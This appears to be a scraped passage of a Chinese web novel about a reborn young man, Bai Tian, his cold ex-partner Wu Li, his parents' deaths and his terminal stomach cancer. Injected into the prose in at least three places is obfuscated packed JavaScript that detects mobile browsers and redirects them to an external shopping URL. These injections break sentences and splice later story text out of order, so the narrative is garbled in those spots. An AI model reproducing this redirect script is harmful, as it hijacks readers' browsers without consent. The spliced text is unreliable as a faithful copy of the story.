我去辩论社练习,他必定要跟我搭四辩。我去机器人社搞后勤,他抱着他的小机器人在我背后像个自动跟随器。 甚至我去图书馆学习,都能“偶遇”刚好路过的他。 我有一天忍不住了,问他:“你为什么天天跟着我。” 学弟举起小机器人,垂下眼眸,委屈道:“我在等我的玫瑰。” 204 不就是一朵玫瑰吗? 我给! 205 我去花店挑了一束玫瑰,还仿照小王子里的描写,找了个玻璃盖给玫瑰罩起来。 刚走到学校门口,果不其然就看见了路阳。 我把玫瑰递给他,他从书包里掏出小机器人,把玫瑰放上去。 刚刚好。 他激动地看了我一眼,我也有些讶异,谁能想到竟这么巧,我送的玫瑰和他留的空隙严丝合缝,分厘不差。 “小添哥,谢谢你。” 路阳很郑重地和我道谢。 “我找到我的玫瑰了。” 206 “白添。” 一道低沉而有些急切的声音在我背后响起,我回头一看,发现竟然是久未出现的吴理。 他似乎生病了,戴着口罩,嗓音不自然地嘶哑。 他扫了一眼路阳,快步走到我面前,将一串钥匙放到我的手心。 冰冷的齿端硌着我的皮肤。 “白添。”他又叫了我一遍,“家里的钥匙,你收好。” 说完,他有意无意地往路阳的方向看了一眼,似乎在看那朵玫瑰。 207 “这位是……” 路阳疑惑发问。 “我是他男朋友。” 吴理急匆匆抢在我面前。 “前男友。” 我慢悠悠纠正。 吴理“chua”的一下看向我—— 也是,毕竟这辈子在他的视角里,我们从未在一起过,又怎么会冒出前男友的称呼。 除非,我也是重生的。 208 是的,也。 自从重生回16岁见到他的第一眼起,我就知道,他和我一样,也重生了。 8. 古老神话 209 我和吴理在一起八年,若是连这点微表情都研究不出来,那真是白谈那么久。 重新看到这个世界的第一眼,我便察觉到了那双眼中慌乱的情绪。 那一刻,我便知道,他不是16岁的吴理,而是我熟悉的那个,不爱我的吴理。 210 我没有戳破。 这辈子我只想和他两不相干,当平行线上的两个陌生人。 谁知道他不配合。 211 我攥着冷硬的钥匙,垂眸看了许久。 路阳走上来挡在我面前,他抱着小机器人,小机器人抱着玫瑰花,他像护食的动物一样,皱眉看向吴理。 “小添哥。” 他在征求我的意见。 “走吧。” 我将钥匙还给吴理,转身,走得决绝。 不是我的东西我不要。 这是我上辈子悟出来的道理。 现在看来,不算太晚。 “小添哥,我请你吃饭吧。”路阳见我走,一个眼神也没有分给吴理,扬着一脸明媚笑容,跟在我后面,“就当谢谢你的玫瑰。” 212 我没有回头,只听见身后不断传来低咳。 生病就去吃药,找我有什么用。 我闭了闭眼,风迎面吹过来,眼睛有些干涩。 213 我没想到吴理会使出我父母这一招。 和路阳吃完饭回来,我接到母亲的电话,他说吴理病了,让我去看看人家。 我攥着手机,有些生气,气他闹到我父母面前,于是语气有些生硬:“他病了,关我什么事?” 母亲愣了愣,停顿了片刻,有些犹豫地问:“小添,你们闹矛盾了吗?昨天小理来家里看我,给我带了一堆东西,我没收。但当时看着他脸色有些不太好,就想着你们好歹是朋友,该互相关照关照。” 我气得咬牙,一个没看住,竟让他登堂入室了。 “知道了,妈妈。” 我知道我不去这一趟,母亲肯定会多想。 214 我看了一眼手表,离闭寝还有四个小时,看一眼就走,应该能赶回来。 215 许久没有走这条路了。 我的心情有些复杂,吴理住的小区是这一片最高档的小区了,当年我也是眼瞎了才没看出他身世不凡。 我走到门口,正准备刷脸,才想起来自己现在还没有录入门禁。 我掏出手机,十分不情愿地被迫拨出那串烂熟于心的数字。 哦,我还没把他拉出黑名单。 216 “小添?” 甚至连拨通的那一声“嘟”都没响,电话那头的人秒接。 我没想到他这么快,想说的话一时哽在喉间。 通话界面沉默片刻。 “我在你家楼下。” “我马上下来。” 那边传来窸窸窣窣的声音,似乎是他在穿衣服。 我冷着一张脸,站在风里等。 以前我哪有这待遇。 我摇了摇头,自嘲一晒。 217 吴理是跑着下来的,他本就感冒,又在冷风里这样跑了一遭,喉间的咳嗽根本压不住。 他仿佛怕我只看一眼就跑了,试探地伸出手,轻轻握住我的手腕。 “上去喝口水吧?”他没话找话。 我无情地将手抽了出来,怼道:“怎么?你家猫会后空翻?” 吴理显然没有意识到我在玩梗,他不像我沉迷网络,听到这话怔了一瞬,而后一本正经地问:“你想狗蛋了吗?” 218 是啊,我的狗蛋。 我记得我是在大三那年捡到它的。 小小一只脏兮兮的橘猫窝在小区角落,有好几回我都能看见它矫健的身影掠过灌木,留下一抹橘色。 某天下楼,我看见保安逮住了一只橘猫,说有业主投诉它扰民。 也不知道我当时是怎么想的,直接跟那保安大哥说:“给我吧,我来养。” 219 我把它带回了家。 吴理很不高兴,他向来没有对其他活物的同情心,但他也没有阻止我,只是勒令橘猫不准进主卧和他的书房。 于是我将橘猫带回了我自己的房间。 是的,我在这个家里是有一间客卧的。 有时我感觉我就像那侍寝的嫔妃,皇帝一撂牌子我就收拾收拾把自己送到主卧的大床上,完事之后,我又麻利地滚回我的客卧。 吴理睡觉时不喜欢有别人的呼吸声,所以我一直迁就他。 八年来,我们同床共枕到第二天早上的夜晚,屈指可数。 220 我给橘猫取名叫狗蛋,吴理知道这个名字后,并未发表任何意见,只是他从未叫过狗蛋一声。 他和狗蛋就像住在同一个屋檐下的陌生人。 有时候狗蛋从我的房间偷溜出去,挡了他的路。吴理就淡淡站在那里,冷冷叫一声:“猫。” 然后我就会屁颠屁颠跑出来,扼住狗蛋的后脖颈,把它押回我的房间。 221 这样看来,我还是第一次从吴理口中听到狗蛋的名字。 确实和他的气质不太符合。 222 我算着时间,要不等大三开学,我再来这小区转一遭,把狗蛋接回我自己家? 想着想着,我停下脚步。 抬头,竟已经到了。 223 再次踏入这间熟悉而陌生的房子,我感慨万千。 吴理喜欢的装修风格可以用三个字概括——黑白灰。 我嫌弃这颜色太死气沉沉,搬进来之后,擅自做主增添了许多鲜艳的物件。 最后,它们的归宿也不过就是垃圾桶。 224 我看着脚边熟悉的粉色拖鞋,那是我在网上买的情侣拖鞋,买回来之后,只有我坚持不懈地穿它,而另一双的主人,从未看过它一眼。 225 “吴理,有意义吗?” 我心中憋的那口气终于迸发出来。 墙上挂着上辈子我们一起去旧市场淘的古董时钟、地上铺着白色的羊毛地毯、冰箱上全是我上辈子收集过的冰箱贴…… 我看着那一件件熟悉的老物件,差点以为我又踏进了上辈子那间屋子。 我只觉得可笑。 吴理就像在河里丢了剑的那个人,盯着船上的刻痕刻舟求剑。 226 “我以为上辈子我们已经说得够清楚了,我们分手了。” 我看着他的眼睛,百思不得其解。 “而且,是你提的。” 227 吴理的手一下子攥紧了,屋内昏黄的灯光砸下,他晃了晃身体,很轻地摇了摇头。 “我不是……没有……” 228 “不用解释了,我不想听,也不在乎。” 我深吸一口气,握住门把手:“好好养病,以后别去我家了。” “咔哒。” 门开了。 我听到了什么东西碎掉的声音。 229 是玄关上的一个 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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亲人刚去世的那段日子,人是没有实感的。内心深处一片虚无,面对他人的关心,甚至会觉得没什么,只是死亡而已,每个人都有这么一遭。 真正的痛苦,是在后来的无数个瞬间。 当我去菜市场买饺子皮时,我意识到我再也不能吃到母亲包的白菜猪肉;当我翻开一本书时,我意识到再也不会听到母亲叮嘱我别看太久;当我打开冰箱的时候,能对着里面愣好久好久,就盼着母亲突然冲出来,骂我一句冰箱用完要马上关上…… 于那些瞬间一遍又一遍地提醒我,母亲走了,去世了,死了,再也回不来了。 239 死。 原来是这么恐怖的事。 240 那一年吴理也很忙,他不像我按部就班,大学连跳几级,我硕士毕业的时候,他已经在忙他的博士论文了。 因而,我时常守着空荡荡的屋子,只有狗蛋心情好了会对我喵上几句。 我知道吴理想让我继续深造,可我看着那些申博资料,怎么也提不起兴致。 241 我爱上了喝酒。 但并不贪杯。 我试图用酒精麻痹我的神经,没想到最后却等来了一张胃癌中期的报告单。 242 吴理跟我提分手那天,是我拿到诊断报告的那一天。 他不知道。 就在前一日,我父亲也离我而去了。 243 煤气中毒,是自杀。 他的遗书只有一句话。 “我忍受不了没有你的日子,抱歉,小添,我要先去找你妈妈了。” 244 你看。 谁说殉情只是古老的神话。 9. 再也不见 245 我站在熟悉的家里,忽而觉得无比陌生。 父亲的遗体已经送去火化,我将他的骨灰盒和母亲埋在了一起。 他们早在生前就定好了,墓是双人墓,用父亲的话来说,就是敞亮,够他俩吵。 生同衾,死同穴。 这大抵是世间所有有情人的终极幻想。 246 家里没有开灯,只有朦胧的月光透过纱窗落进来。 我不敢去看那些熟悉的装潢,不敢去看这个我生活了十几年的家。 我站在玄关处,双腿如同灌了铅一样,一步都迈不开。 突然,灯打开了。 247 “小添,怎么站在这里?快来吃饭。” 妈妈在围裙上擦了擦有些湿润的手,笑着招呼我。 “今天我和你爸一起下厨,你喜欢的锅包肉、回锅肉都有。” “嘿,儿子肯定最喜欢我的手艺!” 爸爸从妈妈身后探出头,手里还挥着一把沾满糖渍的勺子。 妈妈哼了一声,回怼:“怎么?我的手艺上不了台面?” “哪里。儿子最喜欢我做的菜,我最喜欢我老婆做的菜,这又不冲突!” “油嘴滑舌!快去盛饭!” 我愣愣地看着他们拌嘴,唇上挂着笑,傻乐。 双腿里灌注的泥浆仿佛被什么柔软的事物化开了,我迈开腿。 248 “扑通。” 我跪倒在冰冷的大理石地面上。 249 暖黄的灯光骤然熄灭,只剩清冷的圆月嘲笑我孤家寡人。 好黑,好冷,好静。 我看不见,听不见,感知不见。 识海一片死寂,沉默震耳欲聋。 250 “小添,一岁啦,妈妈祝你健康快乐!” “十八岁的小添,要永远快乐。” “小添长大成人啦,笑着送妈妈走,好不好?” “小添……” 251 逼仄的咽喉终于发出一声沉闷的嘶哑,我将额头抵在地面,终于发出一声无力的痛哭。 “妈妈……” 如同当年牙牙学语,我在时光的长河里刻舟求剑。 “不要丢下我。” “啊——” 痛哭到最后只剩无声的哀嚎,我躺在地上,将身体蜷缩起来,仿佛这样就能重新回到母亲的怀抱。 252 一阵剧烈的疼痛击中了我的胃,像是有一把巨大的锤子在奋力敲打。 疼痛连续不断,我痛到干呕,却没有力气爬起来去吐。 “叮咚。” 手机屏幕亮了一瞬,我顶着满头的冷汗,看了一眼。 上面是提示我取检查报告的信息。 253 我想起来了,几天前我在大街上也是这样胃痛,被路人撞见送到医院里,医生给我开了各种检查,本来第二天该去复诊的,谁料出了父亲的事。 254 我最后看了一眼这间房子。 它仿佛一座沉默的墓碑,埋葬了我的前半生。 255 我推门出去,没有回头。 256 下午三点,我打车到了医院。 现在挂号复诊显然来不及,我打算等取完报告明天再来看。 吴理最近都在出差,今天下午的飞机回来,如果来得及,我还能和他吃顿晚餐。 我的思绪迷迷糊糊地跳跃,在自助打印机上拿到报告后也没看,一股脑塞进袋子就赶回了家。 257 我强撑着做了几个菜。 不知道是不是因为今天出现的那段幻觉,我做了锅包肉,还有回锅肉。 吴理还没有回来。 我看着时针不停转动,古董钟的整点报时响了一遍又一遍。 258 胃又开始痛了,我终于想起了我的报告单。 我回到客卧,坐在桌前,将里面的一沓纸都抽出来,一张一张看过去。 259 检查报告提示怀疑胃癌中晚期。 260 我眼前刹那一黑,耳鸣不断。 261 那一刻,我想的竟然是,我们一家三口可以团聚了。 262 “咔哒。” 大门开了。 吴理回来了。 我收拾好心情,将几个冷了的菜放入微波炉。 吴理径直去了书房,应该是去放资料了。 我站在灶台前,胡乱地想着。 父亲去世的消息我还没来得及和吴理说,现在又出了这么一桩大事,我犹豫着要不要告诉他。 263 算了。 等真正确诊之后再说吧。 万一,万一是误诊呢? 264 餐桌上,我们相对无言。 席间只有筷子与碗碟的碰撞声,吴理严格遵从食不言寝不语那一套规矩,我和他在一起之后,很少体会到家里那种热热闹闹的饭桌氛围。 “有事吗?” 不知道是不是看出了我的欲言又止,吴理放下碗筷,抬眸看向我。 我被那双眼睛盯得难受,内心的苦闷憋在心头,却一个字都不敢吐露。 归根结底,我害怕。 怕吴理知道后,依然是这副淡淡的表情。 265 记得我研三那年,论文怎么也过不了,里面一个模型涉及到统计学知识,我只能求助吴理。 他像一个完美的AI,一条一条地列出了修改意见,最后做了决断:“重写吧。” 他的理性在生活中占了极大的比例,那种因过于理性而衍生的冷漠时常令我患得患失——这种人,真的会需要情感吗? 266 也许,我真的只是他生命中的一个过客而已。 有的人一见如故。 而有的人,相处多年,仍白首如新。 267 我或许永远也捂不热这座冰山。 268 “没事。” 我抿了抿唇,还是将那些话都咽入喉中。 冷过又加热的饭菜口感不怎么好,硬邦邦地戳在胃里,胃粘膜烧灼的痛感再一次提醒了我诊断报告的存在。 就在这时,吴理突然说:“我们分手吧。” 269 “啪嗒。” 我手中的筷子彻底握不稳了,我遮掩出颤动的幅度,想要说些什么,眼泪却先比话语汹涌。 270 食管传来被烧灼的苦痛,仿佛胃酸倒流,我忍住了那股想要呕吐的冲动,低垂着头,咬了咬牙。 271 母亲去世剜走了我一半的心,父亲又带走了另一半。 而我的肉身也在今天被宣判了死期。 就这样了。 一个将死之人,缠着吴理,实在太没眼力见了。 272 我哑着声音,挤出一个字。 “好。” 273 我甚至不知道这算不算分手,毕竟,吴理还从来没有正式跟我说过一句“我爱你”。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17124729|196010||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >274 吴理沉默良久,他也不离开,只是看着我吃饭。 其实我已经吃不下去了,只是看着那两盘肉,想到自己今天是如何期待它们,便有些不忍心辜负。 胃里好像被塞了很多很多沉沉的石头,我机械地夹筷,机械地往嘴里塞着一片片肥腻的肉,我近乎是省略了咀嚼的步骤,只是在奋力吞咽。 肉哽在喉咙里,眼泪也哽在那里。 所有的阀口都被我堵住,好似这样,我就能欣然接受刚才发生的一切。 275 “别吃了。” 最后是吴理制止了我,我点了点头,胡言乱语:“是不能吃了,吃不到了,以后都……吃不到了。” 276 吴理皱了皱眉,拉起我的手腕,把我带回客房。 “我不在家,你是不是又熬夜了?”吴理扫了一眼我的蜗居,他很少踏足这里,他的目光从桌面上被掩盖的纸页上滑过,又很快移开。 我莫名一阵紧张。 “好好休息,剩下的明天再说。” 见我不答话,吴理自顾自终结了话题。 房门关闭,我躺在床上,死寂的房间,我只能听到自己虚弱的心跳。 果然,我真的快要死了。 277 那晚我吐了三次。 胃痉挛的感觉实在不好受,仿佛被几个大汉按着在地上打,又仿佛是被一根根钢针滚着扎。 一夜未眠。 大概凌晨的时候,我听到了吴理出门的声音。这个点,他应该是去研究院报道了。 他进的是保密性质的研究院,因此出差行程不定,我也不敢问,还经常有突发的会议。 我实在没力气爬回床上了,只能瘫在地板上,看着面前积蓄起一摊水汪。 过了好久,我才意识到,那是我的泪。 278 我起身,开始收拾行李。 客卧的东西不多,大都是些换季的衣物,我把它们一股脑塞进行李箱。 八年,也不过这样一个小小的箱子。 紧接着,我又去了客厅。 客厅里有很多我随意添置的小玩意儿,比如那张标满旅游景点的地图,我本来打算和吴理一起去,那时总以为余生还长,一定能走完。却没想到还未开始,一切就戛然而止。 还有那个古董钟、我买的情侣拖鞋、客厅角落的懒人沙发…… 一件一件,每一件都诉说着漫长的时光。 我将它们一件一件扯下、摘下,然后放进垃圾袋里。 279 设身处地,谁会喜欢看到前任留下的玩意儿在自己面前碍眼呢? 我自认为还是很贴心的。 280 最后,只剩狗蛋了。 我想了想,没有带走它。 我时日无多,就不拖累它了。 狗蛋,剩下的日子,你替我好好看着他。 他要是踹了我就立马找新欢,你就帮我挠他们几道,但如果…… 如果他幸福的话,那就算了。 281 我将那些垃圾袋一趟一趟地往下搬,直到这个家里,属于我们的所有回忆,都彻底消散。 狗蛋似乎察觉到了什么,绕着我的腿,不断喵喵叫。 282 拖着行李箱,我最后看了一眼这个地方。 283 再见再见,再也不见。 等下一次见面,也许就是来生了。 284 真可惜,吴理是个坚定的唯物主义者。所以我知道,连这样的幻想,他也不会给我。 10. 死于秋天(二合一) 285 金色的阳光照在雪山山巅上,终年不化的雪被镀上一层金光,于是圣洁便有了颜色。 空气刺骨不堪,肺仿佛针扎一样难受。吐息散在空中,化成雾气散开。 我用手挡住眼睛,长长舒了一口气。 终于到山顶了。 286 我离开京城已经一个月了。 自那日收拾好行李离开吴理家之后,我去了趟医院,再次复诊并没有出现什么惊喜的乌龙,第二次检查依然是那个糟糕的结果。 医生劝我住院,说我这种情况得手术,但预后效果差,让我回去和家人商量商量。 排在我后面的是一对母子,那个儿子搀扶着自己妈妈的手,频频看向诊室,脸上的焦急怎么都掩不住。 更后面的是一对夫妻,丈夫强装镇定地对着妻子笑,但我记得我上楼时,看见他一个人缩在墙角哭。 也许医生说的家人便是这样的吧,会因为你的病情担心,会牵挂你的生死,会陪你承担责任,会在你最痛苦的时候,站在你的身边。 287 真可惜,这样的家人,我已经没有了。 288 “我想保守治疗。” 我看着门外排队的人们,他们每个人都比我更需要医生宝贵的时间。 我心不在焉地抠了抠手里的诊断报告,看着医生的眼睛道:“我没有家人了。” 289 医生沉沉叹了一口气,在键盘上敲击起来。桌上的打印机繁重地吐出纸页,也许是零件松动,声音嘲哳不已。 “我先给你开点止痛药,手术的事,你再考虑考虑。” 医生将单子递给我,口罩之上的那双眼睛里满含关切。 “小伙子,人生还长。” 290 “谢谢。” 我明白医生的好意,但,我也是最近才悟到一个道理。 不是所有人都会在八十岁之后寿终正寝,人是会突然死掉的。 “咔嚓。” 生命戛然而止,人生也不过是一场荒诞的戏剧。 291 那我扮演的,一定是丑角的角色了。 292 出了医院大门,我将所有报告单都扔进垃圾桶,揣着一盒止痛药,买了一张去东北的飞机票。 我的父母已无法归乡,我想替他们,回家看看。 293 吴理家的客厅里有一张地图,我曾经跟他畅想过无数次旅行计划,几乎每一个热门景点上都贴满了我的攻略。那些攻略越堆越厚,却没有一个被实现过。 294 以前总觉得是缺少时机,两个人的空闲时间不合适、天气不合适、季节不合适…… 算来算去,其实还是人不合适。 说走就走的旅行,本就是独属于一个人的权利。 295 爷爷奶奶早已在几年前去世,装着我童年的老屋,如今只是一座废弃的宅子。 我不忍惊动经年岁月与回忆,远远在门口看了一眼,便转身离去。 白杨笔挺,黑土地辽阔无比。 我想起我曾在这里的地图上钉下图钉,美滋滋地跟吴理畅想:“这里是我老家,等有时间,你跟我回家好不好?我带你去打雪仗,累了就缩在炕上,一人啃张饼,躺在棉被里——哈哈哈哈,就算是你这种高冷男神,到了东北也得给我穿大花袄和棉裤……” 296 畅想的画面就在眼前,栩栩如生。 而一呼一吸过后,雾气化开在空中,那幻景便破掉了。 297 “哈哈。” 我嘴边还挂着笑,冷风越吹越干,我的笑也僵在了脸上。 298 “哈。” 两行热泪滑过脸颊,又很快被风吹干,凝成泪痕。 299 我渐行渐远,老屋成了我视线中,小小的一个点。 然后一个拐弯。 过往如云烟消散,从此山一程,水一程,此路不再是归程。 300 离开东北,我去了母亲的老家。 姥姥在我中学的时候就早早撒手人寰,这里的老宅也早已被拆。 在这里,我连一个可以刻舟求剑的锚点都寻不到。 301 我去了姥姥生前常去的一所庙。 说是寺庙,其实就是一个院落,一棵不知道活了多少年的树,一位不知道守了多少年的老人,和一座不知立了多少年的佛像。 蒲团布满灰尘,老人站在门口,朝我施了一个礼。 302 “好久没人来了。” 老人拍开蒲团上的尘灰,于是万千尘埃散开,恍若寂灭的宇宙爆炸,因果轮转在这间小小的寺庙里延续。 我跪下来,看的是佛,观的却是心。 303 我的心说它还爱你。 佛像面前不能说谎,于是我缄默不语。 304 香灯燃了一盏又一盏,烛火灭了一簇又一簇。 我想起我在那张地图上圈起这方天地,跟你说这里有一座小小的寺庙,名为兰因。 兰因絮果,冥冥之中一切皆有定数。 我说这里香火淡,兴许是佛祖也爱清净,在这里许愿格外灵。 305 院落后方有一方锦鲤池,池塘边的那棵紫藤树扎根了一年又一年。 树上系满了红飘带,那是尘世的万千心愿。 306 我也在树上留下了一根红飘带。 老人问我:“小伙子这么年轻,是求姻缘?” 我摇了摇头,抿唇一笑。 307 我所求的很简单。 兰因絮果,红尘种种。 我不过求,再多看他一眼。 308 许是痴心妄想,青烟三炷,皆拦腰截断。 309 我在树下站了许久,将那根红飘带又摘了下来。 算了,都快死了,就别给佛祖添麻烦了。 310 之后,我断断续续又去了一些地方。这期间我的手机一直关机,除非必要不打开,衣食住行都用现金。 我去了那张地图上的许多地方。 一个人,一个月,赴了一场一人失诺的约。 311 最后一站是西藏,这个时候,止痛药见空,我的身体也快坚持不住了。 西藏的海拔还是太高,我刚下飞机就开始头晕。身体潜意识的反应又开始刺激我的胃,我忍不住冲进厕所吐了起来。 血丝挂在我唇边,我随意一抹,没有在意。 312 听说当地有一座神山,终年不化的积雪沉默了一年又一年,神山威严肃立,静听信徒的祈愿。 当日照金山,万千经幡飘动,那便是山神在回应你的愿望。 313 我跪倒在雪地里,爬到山顶已是我的极限,好在这里有一座经幡围起的白塔。 我靠在白塔塔座下歇脚,冷风灌进我的冲锋衣,我的手被冻得僵硬,毫无知觉。 我把手指放进嘴里含了含,温热的口腔包裹着胡萝卜一般的冻指,密密麻麻的痒痛爬上指尖。 稍微能动之后,我捡起地上的石头,开始搭石头塔。 据说石头堆得越高,愿望就越容易成真。 314 经幡折射着冰冷的阳光,大雪白茫茫一片晃着我的眼。 我的眼前五光十色,被经幡折射的光似乎都钻入了我的瞳孔,而后在晶状体里散射。 我哆哆嗦嗦地放上最后一块石头。 315 如果真的有山神,那请保佑我所爱之人,平安顺遂,健康喜乐。 316 吴理,你看,我们曾说好要来神山许一次愿。 虽然你失约,但好在我不是小气的人。 我愿你平安,愿你健康。 至于你的愿望,你自己来许吧。 317 最后一块石头平安落在塔尖,我突发奇想,多问了一句。 318 我可以和吴理白头偕老吗? 319 “咚——” 石头塔轰然倒塌,大抵是山神在怪我贪心。 320 石头被不知从哪来的水滴打湿了。 过了很久,我才意识到那是我的眼泪。 321 应该是我盯着雪地看了太久,出现了雪盲的症状。 五颜六色在我的眼睛里晕染,最后都化为了刺眼的白。 322 我摸索着下山,路上不知道摔了多少跤,终于有驴友看不下去,把我送去了医院。 医院诊断我有轻微的高反,再加上雪盲症,此时几乎是废人一个。 323 “你胃有毛病?” 医生眼尖,一眼看出我症结所在。 “胃癌,现在大概到晚期了吧。” 我无所谓答道。 医生哼笑一声:“你倒挺乐观,我这里治不了大病,给你开点药,输液去吧。好了之后去条件好的医院看看,小伙子人还年轻,还有希望。” 324 原来年轻可以成为宽慰人心的理由。 只可惜,我年轻的皮囊下已是一具行将就木的躯壳。 325 也许是不自量力的朝圣客太多,医院的病床满满当当,再挤不出一个空位。 我只能在拥挤的走廊里勉强找到一张椅子,握着冰冷的输液杆,无聊地等待时间流逝。 326 “滴答,滴答……” 液体一滴一滴落下,我数着点滴,突然想起自己今天还没吃饭。 怪不得胃痛,这真不能赖癌细胞。 我慢吞吞地挪到医院门口的小卖部,跟老板要了一碗方便面,麻烦他帮我泡好。 我左手打着点滴不方便,只能用右手去接泡面。 回头时,刚才的位置早就被占了。 我索性蹲在小卖部门口,等待泡面泡熟,掀开盖子囫囵吞了两口。 327 淦!没熟! 不知道老板是不是对热水的理解有什么偏差,这简直是一堆面饼和水和成的糊状混合物。 328 那堆混合物哽在我的喉咙里,我咽也不是,吐也不是。 我喝了口冷冷的面汤,强行把它灌了下去。 329 “咳咳咳!” 真是难吃得惊天地、泣鬼神。 330 屋漏偏逢连夜雨,一个熊孩子从我旁边蹿过去,眼见就要撞到我的输液杆,我来不及躲闪,只能眼睁睁看着他撞上来。 “啪!” 一声脆响。 小孩撞到了一条大长腿上。 我乐得开心,正想抬头看看是哪位雷锋出手整治了熊孩子。 331 这一抬头,我便撞进了一双深不见底的眸子里。 332 认识他那么多年,我还是第一次见到那双眼中翻涌起这么多浓烈的情绪。 333 吴理蹲下身,接过我手中糊成一团的泡面,冷冷看了一眼,质问:“你就吃这个?” 我的咳嗽再也止不住,惊天动地。 334 我看见吴理眼中冒出一丝慌乱,天地在我眼中倒了个个,他坚实的手臂将我揽住,我喘着气,看见他的手在不停发抖。 “我……没事。” 我摆了摆手,试图挣脱。 吴理却揽得更紧了,他似乎用手在我脸上抹了抹,我能感受到有湿润的液体顺着下巴滑落。 起初我以为是眼泪,直到看见他手心的一片红,我才意识到。 那是血。 335 “我带你回家。” 吴理的手颤抖得更厉害了,他用指腹使劲擦着我唇角的血,一遍又一遍,固执不肯停下。 336 我终于挣脱他的怀抱,向后退了一步,低下头,声音很轻。 “吴理,我们分手了。” 337 “我不是……白添,你听我——白添!小添!” 失去意识的前一刹那,我听见吴理慌张的呐喊。 338 明明已经分手了,为什么还一副要哭出来的样子。 你ooc了知道吗? 339 眼前一片黑暗,我彻底失去意识。 340 “患者情况并不乐观,癌细胞扩散得十分迅速,家属做好手术准备。” “他的身体各项指征达不到手术水平,还要观察些时间……” “这小伙子我知道,门诊是我看的,他当时的求生欲望……不算太强,我认为还要考虑心理因素。” “……” 好吵。 如果这是地狱,那阎王殿一定是菜市场。 我皱了皱眉,试图去跟黑白无常套套近乎,麻烦他们给我栓到安静点的地界。 “滴,滴,滴滴,滴——” 刺耳的声音盖过了喧嚣,朦胧的光透进我的眼睛。 341 一群白大褂围在我的身旁,我的大脑过了很久才反应过来,我大概是躺在医院的病床上。 我失望地叹了口气,我怎么还没死。 想去的地方也去了,该了的心愿也了了,多活一秒都是浪费。 可别耽误我去阎王殿排队。 342 “那今天就先这样,吴先生,我们就先走了。” 领头的白大褂毕恭毕敬,我见过那张脸,在医院的专家介绍墙上。如果我没记错的话,他身后那一溜白大褂随便提溜一个都能被别的医院供起来。 真不愧是吴理,区区一个胃癌,竟然劳动那么多专家。 我何德何能啊。 343 白大褂们像鱼一样游出了门,病房内只剩下两道清浅的呼吸声。 我看着站在窗边逆光的人影,无力地动了动手指,嘶哑着嗓子,喊 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17124730|196010||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了声:“水。” 344 那个如雕塑一般的人影动起来了,嘴唇沾上了湿润,我如旱地逢甘霖,终于有了重回人间的实感。 345 “什么时候的事?” 吴理坐在病床边,整个人都散发出一股死气沉沉的味道。 我想了想,还是诚实相告:“没多久,也就一个月前。” “还有叔叔去……走了,你为什么没告诉我?”吴理看着我的眼睛,像一个诚恳发问的学生。 这一次我思考的时间更久了,片刻沉默后,我说:“没必要。” 我只是他生命中的过客,所以生病也好,家人去世也好,都是些无足轻重的小事,和他宏大的课题比起来,微不足道。 所以没必要。 346 这一次换吴理沉默了。 “为什么不想做手术?” 似乎是意识到某些问题的答案太尖锐,吴理换了一个话题。 我笑了笑,看着他的眼睛,认真道:“吴理,我没有家人了。” 我没有家人了,没有人会因我的喜怒哀乐而牵动心神,万千灯火不再有我的那一盏,尘世烟火也不会有我的那一缕。 “我没有家了。” 347 泪水后知后觉汹涌而出。 这一个月的所有不甘和委屈在那一刻爆发——为什么呢?为什么来找我?为什么要用那样的眼神看着我?是同情吗?是可怜吗?是因为觉得我太惨所以才伸出援手吗? 明明都分手了,明明是你提的! 为什么还要回头?为什么还要为我擦去眼泪?为什么还紧握着我的手? 那双眼里的无数情绪,有一丝一毫,是名为爱吗? 348 “出去。” 我习惯在吴理面前藏起所有不体面。 所以放过我吧,别再牵着我的手了。 349 吴理似乎也红了眼眶,我没有细看,话说回来,我还是第一次见他落泪。 是爱吗?不是吧? 是同情吗? 是同情。 我一锤定音。 350 将死之人,怎敢奢求其他。 351 吴理推门出去,留我一个人静静在病床上淌泪。 等哭够了,情绪便戛然而止。 我呆呆地望着窗外灰蒙蒙的天,站起身,拔下针头和监护仪。 352 病房在一楼,我知道这里,这是VIP院区,一般人可进不了。 吴理还真是煞费苦心。 单人病房的衣柜里挂着新衣服,我换下病号服,打开窗户,翻了出去。 353 我讨厌医院,讨厌一切与死亡相关的地方。 就算要死,我也不想死在冰冷的病床上。 354 我不知道吴理是什么时候发现我不见的,我离开医院,回家简单收拾了点行李,便又离开京城。 为了不被吴理发现,我几乎乘坐的都是汽车,没有明确的目的地,兜兜转转,走到哪算哪。 355 我能感受到自己状态越来越差,我害怕自己突然死掉给别人添麻烦,晚上就囫囵找个医院,在医院门口的24h便利店将就一宿,万一出什么意外,旁边就是急诊。 白天我就在车上补觉,洗漱随便找个澡堂打发一下,浑浑噩噩糊弄过去。 356 到最后,我都不知道自己到底在等待什么。 我望着钱包里的照片,愣愣地看了许久。 吴理的照片很少,这张高中时期的证件照算是一张。 这张几乎稳占光荣榜第一的照片,陪我度过了青葱岁月。 而如今,它又将陪我走过此生,而后与我一同躺进坟墓。 沧海桑田,岁月惊变。 我的尸骨会攥着爱人的影像,在沉默无言的地底诉说我肆意疯长的爱意。 357 我骗了自己一个月。 终究骗不过自己的心。 我还爱你,吴理。 358 直到最后一趟客车摇摇晃晃到了终点,我才恍然惊觉,我的目的地原来是这里。 